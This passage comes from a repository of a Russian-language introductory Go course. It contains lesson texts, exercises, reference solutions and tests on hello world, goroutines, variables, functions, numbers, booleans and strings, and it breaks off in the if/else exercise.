"a", "u", "l", "v", "5", "i", "i", ":", "b", "z", "e", "/", "%", "a", " ", "t", "p", "f", "a", "r", "%", "v", "c", "/", " ", "e", "L", "-", "t", "o", "f", "l", "a", "b", "r", "a", "6", "A", "l", "e", "b", "&", "x", ".", "l", "e", "a", "/", "n", "f", "%", "s", "2", "b", "t", "j", "g", "f", "\\", "i", "0", "L", " ", "-", "P", "a", "%", "r", "8", "U", "t", "\\", "s", "a", "z", "p", "l", "a", "e", "1", "A", ".", " ", "c", "r", "s", "o", "x", " ", "r", "u", "o", "t", "r", "c", "r", "r", "t", " ", "h", "-", "u", "/", "v", "s", "o", "\\", "\\", "c", "f", "e", "&", "l", "D", "r", "l", "q", "e", "4", "a", "a", "b", "n", "c", "4", " ", "b", "q", "z", "%", "c", "i", ".", "u", "s", "-", "r", "/", "a", "j", "s", "n", "b", "p", "t", "p", "z", "\\", "x", " ", "x", "d", "f", "c", "o", "e", " ", "\\", "i", "e", "f", "v", "f", "p", "l", "\\", "e", "3", "a", "e", "i", " ", "o", "p", "r", "a"} 31 | 32 | -------------------------------------------------------------------------------- /modules/10-basics/10-hello-world/solution_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os/exec" 7 | "testing" 8 | ) 9 | 10 | func TestHelloWorld(t *testing.T) { 11 | cmd := exec.Command("go", "run", "solution.go") 12 | out, err := cmd.CombinedOutput() 13 | if err != nil { 14 | log.Fatalf("error on running the command: %v\n", err) 15 | } 16 | fmt.Println(string(out)) 17 | // Output: 18 | // Hello, World! 19 | } 20 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Напишите функцию `main`, которая выводит на экран строчку "Hello, Friend!". 2 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Разберем программу Hello world из предыдущего урока: 3 | 4 | ```go 5 | // Определение пакета main 6 | package main 7 | 8 | // Импорт пакета fmt 9 | import "fmt" 10 | 11 | // Определение функции main 12 | func main() { 13 | // Вызов функции Print из пакета fmt 14 | // Отступ 1 таб 15 | fmt.Print("Hello, World!") // В конце не нужна точка с запятой 16 | } 17 | ``` 18 | 19 | Сначала мы определили пакет `main`: 20 | 21 | ```go 22 | package main 23 | ``` 24 | 25 | Пакеты выполняют роль неймспейсов (логически обособленные директории с локальным именованием) и используются для группировки функций. Все Go-файлы начинаются с объявления пакета, к которому они относятся. Внутри одного пакета может быть множество функций. 26 | 27 | После определения пакета мы написали функцию `main`. В ней описана вся логика программы: 28 | 29 | ```go 30 | func main() { 31 |     ... 32 | } 33 | ``` 34 | 35 | `main` — главная функция, которая выполняется при запуске любой Go-программы и является точкой входа в программу. Она не может принимать или возвращать какие-либо аргументы. 36 | 37 | Чтобы вывести строку в терминал, мы использовали внешний пакет `fmt`: 38 | 39 | ```go 40 | import "fmt" 41 | ``` 42 | 43 | Импорт сторонних пакетов описывается словом `import`. Блок импортов располагается в начале Go-файла сразу после названия пакета. 44 | 45 | После импорта мы можем вызывать функции пакета в своем коде. 46 | 47 | ```go 48 | fmt.Print("Hello, World!") 49 | ``` 50 | 51 | Сторонний пакет — это не объект, а неймспейс. Его можно использовать только как префикс к функциям. Обратиться к функции стороннего пакета можно через точку. Функции, как и во многих языках (например, Java, PHP, Python), вызываются через скобки и передачу аргумента внутрь.  52 | 53 | Вы могли обратить внимание, что функция `Print` написана с большой буквы, а `main` — с маленькой. В Go функция публична, если ее первая буква заглавная. Публичность или экспортируемость означает, что мы можем использовать эту функцию в других пакетах. С другой стороны, если функция начинается с маленькой буквы, то она является приватной и может использоваться только внутри пакета. Функция `fmt.Print` — публичная, поэтому мы можем вызывать ее в своем коде. А функция `main` — приватная, она доступна только в рамках нашего пакета `main`. 54 | 55 | Рассмотрим аргумент `"Hello, World!"`. Строки практически всегда объявляются в двойных кавычках. Существует еще один способ описать многострочную строку через обратную кавычку `, но он используется в исключительных ситуациях. Мы пока будем использовать только двойные. 56 | 57 | Одной из особенностей языка Go является отсутствие точек с запятыми. Чтобы компилятор понял код, необходимы правильные переносы строк и отступы: табами, а не пробелами. В работе это не доставляет больших неудобств, поскольку в языке есть встроенная тулза для форматирования кода. Ссылка на тулзу лежит в разделе `Полезное` в конце урока. 58 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Разбор Hello World 3 | tips: 4 | - | 5 | [Go fmt tool](https://go.dev/blog/gofmt) 6 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/solution.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | func main() { 6 | fmt.Print("Hello, Friend!") 7 | } 8 | -------------------------------------------------------------------------------- /modules/10-basics/15-hello-world-debriefing/solution_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os/exec" 7 | "testing" 8 | ) 9 | 10 | func TestHelloWorld(t *testing.T) { 11 | cmd := exec.Command("go", "run", "solution.go") 12 | out, err := cmd.CombinedOutput() 13 | if err != nil { 14 | log.Fatalf("error on running the command: %v\n", err) 15 | } 16 | fmt.Println(string(out)) 17 | // Output: 18 | // Hello, Friend! 19 | } 20 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Написать интересный код самостоятельно на текущем уровне будет затруднительно, поэтому скопируйте код ниже. 2 | 3 | ```go 4 | wg := sync.WaitGroup{} 5 | 6 | for i := 0; i < 3; i++ { 7 | wg.Add(1) 8 | go func() { 9 | fmt.Println("Go!") 10 | wg.Done() 11 | }() 12 | } 13 | 14 | wg.Wait() 15 | ``` 16 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/ru/README.md: -------------------------------------------------------------------------------- 1 | Go — это компилируемый строго типизированный язык программирования, разработанный в Google. Язык спроектирован для быстрой разработки высоконагруженных бэкендов. Если вы знакомы с императивными языками (например, C++, PHP, Java), то синтаксис Go будет понятен практически сразу: 2 | 3 | ```go 4 | import ( 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | ) 9 | 10 | type Message struct { 11 | Sender string `json:"sender"` // ставим тег с описанием JSON поля 12 | Text string `json:"text"` 13 | } 14 | 15 | // инициализация ошибки через конструктор стандартного пакета errors 16 | var errEmptyMessage = errors.New("empty message") 17 | 18 | // возвращаем ошибку в случае неожиданного поведения 19 | func DecodeJSON(rawMsg string) (Message, error) { 20 | // если нам передали пустую строку, возвращаем ошибку об этом 21 | if len(rawMsg) == 0 { 22 | return Message{}, errEmptyMessage 23 | } 24 | 25 | msg := Message{} 26 | 27 | // декодируем строку в структуру 28 | err := json.Unmarshal([]byte(rawMsg), &msg) 29 | if err != nil { 30 | return Message{}, fmt.Errorf("unmarshal: %w", err) 31 | } 32 | 33 | return msg, nil 34 | } 35 | ``` 36 | 37 | В Go нет исключений. Вместо них используется встроенный интерфейс `error`. Ошибки возвращаются явно последним аргументом из функции. Поэтому Go-код выглядит как череда вызовов функций и проверок на ошибки: 38 | 39 | ```go 40 | func main() { 41 | msg, err := DecodeJSON("") 42 | if errors.Is(err, errEmptyMessage) { 43 | // { } empty message 44 | fmt.Println(msg, err) 45 | } 46 | 47 | msg, err = DecodeJSON("hello") 48 | if err != nil { 49 | // { } unmarshal: invalid character 'h' looking for beginning of value 50 | fmt.Println(msg, err) 51 | } 52 | 53 | msg, err = DecodeJSON(`{"sender":"hexlet","text":"Go,Go,Go"}`) 54 | // {hexlet Go,Go,Go} 55 | fmt.Println(msg, err) 56 | } 57 | ``` 58 | 59 | Такой подход может показаться «неизящным» из-за постоянного повторения условного блока `if err != nil`, однако он позволяет увидеть и контролировать все потенциальные ошибки в коде. 60 | 61 | Самая сильная сторона Go — простое написание конкурентных программ. Для этого в языке используются легковесные потоки — горутины. Мы разберем эту тему подробно в соответствующем модуле, а пока можем оценить синтаксис программы, которая суммирует 10 значений из разных внешних источников: 62 | 63 | ```go 64 | import ( 65 | "fmt" 66 | "sync" 67 | ) 68 | 69 | func main() { 70 | mu := sync.Mutex{} 71 | wg := sync.WaitGroup{} 72 | 73 | sum := 0 74 | for i := 0; i < 10; i++ { 75 | wg.Add(1) 76 | 77 | // ставим перед любой функцией слово «go», и она выполняется конкурентно в горутине 78 | go func() { 79 | // делаем долгий вызов к стороннему API. Так как каждый вызов происходит в своей горутине, мы делаем 10 вызовов одновременно 80 | n := externalHTTPNum() 81 | 82 | mu.Lock() 83 | sum += n 84 | mu.Unlock() 85 | 86 | wg.Done() 87 | }() 88 | } 89 | 90 | // ждем, пока все 10 горутин вернут ответ 91 | wg.Wait() 92 | 93 | fmt.Println(sum) // 55 94 | } 95 | ``` 96 | 97 | Не стоит расстраиваться, если сейчас что-то непонятно, или кажется сложным. После разбора концепций конкурентного программирования в Go и небольшой практики, вы будете с легкостью писать высокопроизводительный код. 98 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Go, Go, Go 3 | tips: 4 | - | 5 | [Стандартные пакеты в Go](https://pkg.go.dev/std) 6 | - > 7 | [Awesome Go — библиотеки и 8 | фреймворки](https://github.com/avelino/awesome-go) 9 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/solution.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | ) 7 | 8 | func main() { 9 | // BEGIN 10 | wg := sync.WaitGroup{} 11 | 12 | for i := 0; i < 3; i++ { 13 | wg.Add(1) 14 | go func() { 15 | fmt.Println("Go!") 16 | wg.Done() 17 | }() 18 | } 19 | 20 | wg.Wait() 21 | // END 22 | } 23 | -------------------------------------------------------------------------------- /modules/10-basics/20-go-go-go/solution_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os/exec" 7 | "testing" 8 | ) 9 | 10 | func TestGoGoGo(t *testing.T) { 11 | cmd := exec.Command("go", "run", "solution.go") 12 | out, err := cmd.CombinedOutput() 13 | if err != nil { 14 | log.Fatalf("exec command: %s\n", err) 15 | } 16 | fmt.Println(string(out)) 17 | // Output: 18 | // Go! 19 | // Go! 20 | // Go! 21 | } 22 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Объявите две переменные `firstName` и `lastName`. Переменная `firstName` должна содержать строку «John», переменная `lastName` — «Smith». 2 | Выведите значения переменных `firstName` и `lastName` через пробел, чтобы получилась строка «John Smith». Используйте функцию `Println` из пакета `fmt` 3 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Переменные — это именованные значения. Они хранятся в памяти во время выполнения программы. 3 | 4 | Существует два способа объявить переменную в Go. Длинная запись с ключевым словом `var`: 5 | 6 | ```go 7 | var num int = 11 8 | ``` 9 | 10 | И короткая запись: 11 | 12 | ```go 13 | num := 22 14 | ``` 15 | 16 | Понимание, где лучше использовать короткую, а где – длинную инициализацию нарабатывается практикой. Пока же советуем придерживаться двух правил: 17 | — Использовать короткую запись как можно чаще 18 | — Если где-то необходимо написать через var (например, инициализировать несколько переменных за раз), то все переменные объявляются одинаково. 19 | 20 | Значение переменной можно изменять в любой момент: 21 | 22 | ```go 23 | // двоеточие используется только при инициализации 24 | num := 22 25 | num = 33 26 | ``` 27 | 28 | Однако из-за строгой типизации мы не можем записать в переменную значение другого типа данных: 29 | 30 | ```go 31 | num := 22 32 | // получим ошибку: cannot use "string" (type untyped string) as type int in assignment 33 | num = "string" 34 | ``` 35 | 36 | Переменные принято называть в camelCase: 37 | 38 | ```go 39 | longTrickyName := "Josefina" 40 | ``` 41 | 42 | Если не задавать значение переменной при инициализации, она будет иметь «нулевое» значение: 43 | 44 | ```go 45 | var ( 46 | a string // "" 47 | b bool // false 48 | c int // 0 49 | ) 50 | ``` 51 | 52 | Объявлять переменные можно на уровне функций и пакетов. Переменные на уровне пакета инициализируются при старте программы. Они используются не часто. Например, чтобы не тратить память и процессор на создание новой переменной, мы можем один раз описать статичные ошибки и использовать их в функциях пакета: 53 | 54 | ```go 55 | package math 56 | 57 | import "errors" 58 | 59 | // статичная ошибка 60 | var errCannotSum = errors.New("cannot sum") 61 | 62 | func sum(...) 63 | ``` 64 | 65 | Стоит сказать пару слов об особенности именования переменных. Из-за стремления к простоте, переменные называются в максимально сокращенном виде, достаточном для понимания. Например: 66 | 67 | ```go 68 | // НЕ Go way 69 | message := "👎" 70 | buffer := bytes.Buffer{} 71 | 72 | // Go way 73 | msg := "👍" 74 | buf := bytes.Buffer{} 75 | ``` 76 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Переменные 3 | tips: 4 | - > 5 | [The Go Programming Language Specification - 6 | Variables](https://go.dev/ref/spec#Variables) 7 | - | 8 | [Effective Go - Variables](https://go.dev/doc/effective_go#variables) 9 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/solution.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "fmt" 4 | 5 | func main() { 6 | // BEGIN 7 | firstName := "John" 8 | lastName := "Smith" 9 | fmt.Println(firstName, lastName) 10 | // END 11 | } 12 | -------------------------------------------------------------------------------- /modules/10-basics/25-variables/solution_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os/exec" 7 | "testing" 8 | ) 9 | 10 | func TestVariables(t *testing.T) { 11 | cmd := exec.Command("go", "run", "solution.go") 12 | out, err := cmd.CombinedOutput() 13 | if err != nil { 14 | log.Fatalf("error on running the command: %v\n", err) 15 | } 16 | fmt.Println(string(out)) 17 | // Output: 18 | // John Smith 19 | } 20 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | В Go есть стандартная библиотека `strconv` для конвертации чисел в строки и наоборот. Пример использования: 2 | 3 | ```go 4 | s := strconv.Itoa(-42) // "-42" 5 | ``` 6 | 7 | Напишите функцию IntToString, которая преобразует и возвращает входящее число в строку 8 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Функции в Go объявляются через ключевое слово `func`: 3 | 4 | ```go 5 | func multiply(x int, y int) int { 6 | return x * y 7 | } 8 | ``` 9 | 10 | Объявление функции состоит из следующих частей: 11 | — ключевое слово `func` 12 | — название функции `multiply` 13 | — входящие аргументы `(x int, y int)`. Тип аргументов пишется после названия переменной. Если несколько аргументов подряд имеют одинаковый тип, то можно написать сокращенно `(x, y int)` 14 | — тип возвращаемого значения `int` 15 | — тело функции `{ return x * y }` 16 | 17 | Функции именуются в `camelCase`. Если первая буква заглавная, то функция экспортируемая (публичная) и доступна в других пакетах. Функции с маленькой буквы используются только в рамках текущего пакета: 18 | 19 | ```go 20 | package math 21 | 22 | // публичная функция, можно вызвать извне как math.Multiply(5,7) 23 | func Multiply(x int, y int) int { 24 | // ... 25 | } 26 | 27 | // приватная функция, извне не вызвать 28 | func divide(x int, y int) int { 29 | // ... 30 | } 31 | ``` 32 | 33 | Из одной функции можно возвращать несколько значений. Чаще всего это используется для возвращения ошибок: 34 | 35 | ```go 36 | package math 37 | 38 | import "errors" 39 | 40 | func divide(x, y int) (int, error) { 41 | if y == 0 { 42 | return 0, errors.New("cannot divide on zero") 43 | } 44 | 45 | return x / y, nil 46 | } 47 | ``` 48 | 49 | Возвращаемые значения могут быть именованными: 50 | 51 | ```go 52 | func multiply(x, y int) (res int) { 53 | res = x * y 54 | return 55 | } 56 | ``` 57 | 58 | Использовать именованные возвращаемые аргументы — плохая практика. На это есть несколько причин: 59 | 60 | — увеличенное расстояние между объявлением и использованием переменной ведет к сложности в чтении и понимании кода 61 | — переменная может быть несколько раз переопределена в теле функции, что приводит к неожиданному поведению 62 | — пустой `return` неявно возвращает аргументы 63 | 64 | Естественно, код состоит не только из функций: чаще всего используется множество внешних библиотек. Чтобы использовать внешнюю функцию, нужно указать пакет и через `.` вызвать публичную функцию. Например: 65 | 66 | ```go 67 | import "fmt" 68 | 69 | func myPrint(msg string) { 70 | // пакет.функция 71 | fmt.Println(msg) 72 | } 73 | ``` 74 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Функции 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — 6 | Functions](https://go.dev/ref/spec#Function_declarations) 7 | - > 8 | [Awesome Go - библиотеки и 9 | фреймворки](https://github.com/avelino/awesome-go) 10 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "strconv" 4 | 5 | // BEGIN 6 | 7 | // IntToString converts i number to a string representation. 8 | func IntToString(i int) string { 9 | return strconv.Itoa(i) 10 | } 11 | 12 | // END 13 | -------------------------------------------------------------------------------- /modules/10-basics/30-funcs/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestIntToString(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("0", IntToString(0)) 12 | a.Equal("-42", IntToString(-42)) 13 | a.Equal("100500", IntToString(100500)) 14 | } 15 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | 2 | В уроке упоминалась функция `math.Max`, которая сравнивает два числа и возвращает наибольшее. В этом задании следует использовать противоположную функцию `math.Min`, определяющую наименьшее число. 3 | Напишите функцию `MinInt(x, y int) int`, которая возвращает наименьшее целое число 4 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | В Go представлено много числовых типов данных: *uint*, *uint8*, *uint16*, *uint32*, *uint64*, *int*, *int8*, *int16*, *int32*, *int64*, *float32*, *float64*, *complex64*, *complex128*. Зачем же столько типов для чисел? Одна из главных особенностей Go — это кроссплатформенность. Пишется один код, который компилируется и запускается на любой архитектуре процессора. В своем коде предпочтительнее использовать *int* и *uint*, так как они являются архитектурно-независимыми: в момент компиляции принимают значение 32 или 64 битов под процессор. 3 | 4 | На самом деле вам не нужно запоминать все эти типы. В ежедневной работе вы будете сталкиваться с: 5 | - *int* — основной кросплатформенный тип целых чисел, может быть отрицательным 6 | - *int64* нужен для больших чисел из внешних систем. Например, ID в СУБД имеет тип *bigint*. Чтобы правильно распарсить такой ID, используется *int64* 7 | - *float64* — число с плавающей точкой. Чаще всего используются для математических операций. Например, функция `math.Max`, определяющая наибольшее число, принимает аргументы в виде *float64* 8 | 9 | В Go имеется стандартный набор арифметических операций: 10 | 11 | ```go 12 | x := 10 13 | y := 5 14 | 15 | // сложение 16 | x + y // 15 17 | 18 | // вычитание 19 | x - y // 5 20 | 21 | // деление 22 | x / y // 2 23 | 24 | // умножение 25 | x * y // 50 26 | ``` 27 | 28 | Любые операции осуществляются только над числами одинакового типа: 29 | 30 | ```go 31 | x := 5.05 32 | y := 10 33 | 34 | x + y // invalid operation: x + y (mismatched types float64 and int) 35 | ``` 36 | 37 | Чтобы осуществить сложение из прошлого примера, нам нужно конвертировать значения к одному типу 38 | 39 | ```go 40 | x := 5.05 41 | y := 10 42 | 43 | x + float64(y) // 15.05 44 | ``` 45 | 46 | Числовые типы конвертируются без проблем между собой, однако есть нюансы, о которых стоит помнить: 47 | 48 | ```go 49 | // нельзя конвертировать float64 к целому числу, если после точки не только нули 50 | x := int64(5.05) // ошибка компиляции: constant 5.05 truncated to integer 51 | 52 | x := int64(5.00) // OK 53 | 54 | // uint не может быть отрицательным 55 | x := uint(-5) // constant -5 overflows uint 56 | ``` 57 | 58 | Приведенные выше примеры вызовут ошибки компиляции, поэтому вам не удастся «выстрелить себе в ногу». Однако существуют способы обмануть компилятор, и тогда вы получите неявное поведение в коде: 59 | 60 | ```go 61 | a, _ := strconv.Atoi("-42") 62 | 63 | // ошибки компиляции нет, но число было преобразовано в положительное путем прибавления MAX_UINT+1. MAX_UINT = 18446744073709551615 64 | x := uint(a) // 18446744073709551574 65 | 66 | a, _ := strconv.Atoi("5.05") 67 | 68 | // ошибки компиляции нет, но значение всегда будет равно 0 69 | x := int(a) // 0 70 | ``` 71 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Математика и числа 3 | tips: 4 | - > 5 | [The Go Programming Language Specification - Numeric 6 | Types](https://go.dev/ref/spec#Numeric_types) 7 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import "math" 4 | 5 | // BEGIN 6 | 7 | // MinInt returns min int from x and y 8 | func MinInt(x, y int) int { 9 | return int(math.Min(float64(x), float64(y))) 10 | } 11 | 12 | // END 13 | -------------------------------------------------------------------------------- /modules/10-basics/35-math/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestMinInt(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal(5, MinInt(5, 20)) 12 | a.Equal(-30, MinInt(-30, 30)) 13 | a.Equal(0, MinInt(0, 0)) 14 | a.Equal(0, MinInt(2, 0)) 15 | } 16 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Реализуйте функцию `IsValid(id int, text string) bool`, которая проверяет, что переданный идентификатор `id` является положительным числом и текст `text` не пустой. 2 | Например: 3 | 4 | ```go 5 | IsValid(0, "hello world") // false 6 | IsValid(-22, "hello world") // false 7 | IsValid(22, "") // false 8 | IsValid(225, "hello world") // true 9 | ``` 10 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Логический тип в Go представлен привычными значениями `true` и `false` c операторами: 3 | — `&&` (и) 4 | — `==` (равно) 5 | — `||` (или) 6 | — `!` (не): 7 | 8 | ```go 9 | true && false // false 10 | false || true // true 11 | ``` 12 | 13 | Объявление переменных происходит через ключевое слово `bool`: 14 | 15 | ```go 16 | var b bool = true 17 | 18 | // сокращенная запись 19 | bs := false 20 | ``` 21 | 22 | Из-за строгой типизации в Go можно сравнивать только одинаковые типы данных: 23 | 24 | ```go 25 | true == false // false 26 | 27 | false == false // true 28 | ``` 29 | 30 | То есть нельзя сравнить строку с логическим типом, как это происходит в динамических языках: 31 | 32 | ```go 33 | true == "hello" // invalid operation: false == "hello" (mismatched types untyped bool and untyped string) 34 | ``` 35 | 36 | Когда необходимо проверить на истинность разные значения, нелогические типы нужно привести к логическому: 37 | 38 | ```go 39 | flag := true 40 | text := "hello" 41 | 42 | // вариант не сработает, потому что нельзя конвертировать строку в bool 43 | flag && bool(text) // cannot convert text (type string) to type bool 44 | 45 | // правильный вариант: если строка не пустая, то в ней есть текст 46 | flag && text != "" // true 47 | ``` 48 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Логический тип 3 | tips: [] 4 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | // BEGIN 4 | 5 | // IsValid checks whether id and text are filled. 6 | func IsValid(id int, text string) bool { 7 | return id > 0 && text != "" 8 | } 9 | 10 | // END 11 | -------------------------------------------------------------------------------- /modules/10-basics/40-bool/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestIsValid(t *testing.T) { 10 | a := assert.New(t) 11 | a.False(IsValid(0, "")) 12 | a.False(IsValid(5, "")) 13 | a.False(IsValid(-3, "")) 14 | a.False(IsValid(0, "hey!")) 15 | a.False(IsValid(-10, "hey!")) 16 | a.True(IsValid(10, "hey!")) 17 | } 18 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | Для работы со строками часто используется стандартная библиотека `strings`. В данном задании вам понадобятся следующие функции: 2 | 3 | ```go 4 | // обрезает символы, переданные вторым аргументом, с обеих сторон строки 5 | Trim(s, cutset string) string 6 | // пример 7 | strings.Trim(" hello ", " ") // "hello" 8 | 9 | // преобразует все буквы в строке в нижний регистр 10 | strings.ToLower(s string) string 11 | // пример 12 | strings.ToLower("пРиВеТ") // "привет" 13 | 14 | // озаглавливает первую букву в каждом слове в строке с указанием языка 15 | cases.Title(language.Russian).String(s string) string 16 | // пример 17 | cases.Title(language.Russian).String("привет, джон") // "Привет, Джон" 18 | ``` 19 | 20 | Реализуйте функцию `Greetings(name string) string`, которая вернет строку-приветствие. Например, при передаче имени `Иван`, возвращается `Привет, Иван!`. Учтите, что имя может быть написано в разном регистре и содержать пробелы. 21 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/ru/README.md: -------------------------------------------------------------------------------- 1 | 2 | Строки в Go объявляются с типом `string`: 3 | 4 | ```go 5 | var s string = "hello" 6 | 7 | // сокращенная запись 8 | s := "hey" 9 | ``` 10 | 11 | Практически всегда для строк используются двойные кавычки. Однако они не подходят, когда нужно написать несколько строк. Для этого используются обратные кавычки: 12 | 13 | ```go 14 | q := ` 15 | SELECT * 16 | FROM person 17 | WHERE age > 18 18 | ` 19 | ``` 20 | 21 | Строки можно сравнивать операторами: `==`, `>`, `<`, `<=`, `>=`, где строки сравниваются посимвольно в лексическом порядке и по длине. Это свойство часто используется при сортировке массива строк: 22 | 23 | ```go 24 | "привет" == "привет" // true 25 | "golang" > "go" // true 26 | "golang" > "lang" // false 27 | "go" > "foobar" // true 28 | ``` 29 | 30 | Базовые операции со строками в любом языке — это конкатенация и интерполяция. Конкатенация осуществляется с помощью знака `+`: 31 | 32 | ```go 33 | "hello " + "world" // "hello world" 34 | ``` 35 | 36 | В Go нет привычной интерполяции, как в динамических языках. Она реализуется через форматирующую функцию `fmt.Sprintf`: 37 | 38 | ```go 39 | username := "Ivan" 40 | 41 | greetings := fmt.Sprintf("hello, %s", username) // "hello, Ivan" 42 | ``` 43 | 44 | Узнать длину строки можно с помощью встроенной функции `len`: 45 | 46 | ```go 47 | len("go") // 2 48 | 49 | // будьте внимательны! Функция считает кол-во байт, а не кол-во символов 50 | len("го") // 4 51 | ``` 52 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/ru/data.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Строки 3 | tips: 4 | - > 5 | [The Go Programming Language Specification — String 6 | types](https://go.dev/ref/spec#String_types) 7 | - | 8 | [Go Standard Library — strings](https://pkg.go.dev/strings) 9 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/solution.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "fmt" 5 | "golang.org/x/text/cases" 6 | "golang.org/x/text/language" 7 | "strings" 8 | ) 9 | 10 | // BEGIN 11 | 12 | // Greetings returns the greetings string for a name. 13 | func Greetings(name string) string { 14 | name = strings.Trim(name, " ") 15 | name = strings.ToLower(name) 16 | name = cases.Title(language.Russian).String(name) 17 | 18 | return fmt.Sprintf("Привет, %s!", name) 19 | } 20 | 21 | // END 22 | -------------------------------------------------------------------------------- /modules/10-basics/45-strings/solution_test.go: -------------------------------------------------------------------------------- 1 | package solution 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | func TestGreetings(t *testing.T) { 10 | a := assert.New(t) 11 | a.Equal("Привет, Иван!", Greetings(" иван")) 12 | a.Equal("Привет, Петр!", Greetings("ПЕТР")) 13 | a.Equal("Привет, Василий!", Greetings(" вАсиЛИЙ ")) 14 | } 15 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | @ test.sh 3 | -------------------------------------------------------------------------------- /modules/10-basics/50-if-else/ru/EXERCISE.md: -------------------------------------------------------------------------------- 1 | На веб-сайтах часто используются разные поддомены для языков. Например, сайт *site.com* на английском располагается по адресу *en.site.com*, а на русском — *ru.site.com*. 2 | 3 | Реализуйте функцию `DomainForLocale(domain, locale string) string`, которая добавляет язык `locale` как поддомен к домену `domain`. Язык может прийти пустым, тогда нужно добавить поддомен *en.*. Например: 4 | 5 | ```go 6 | 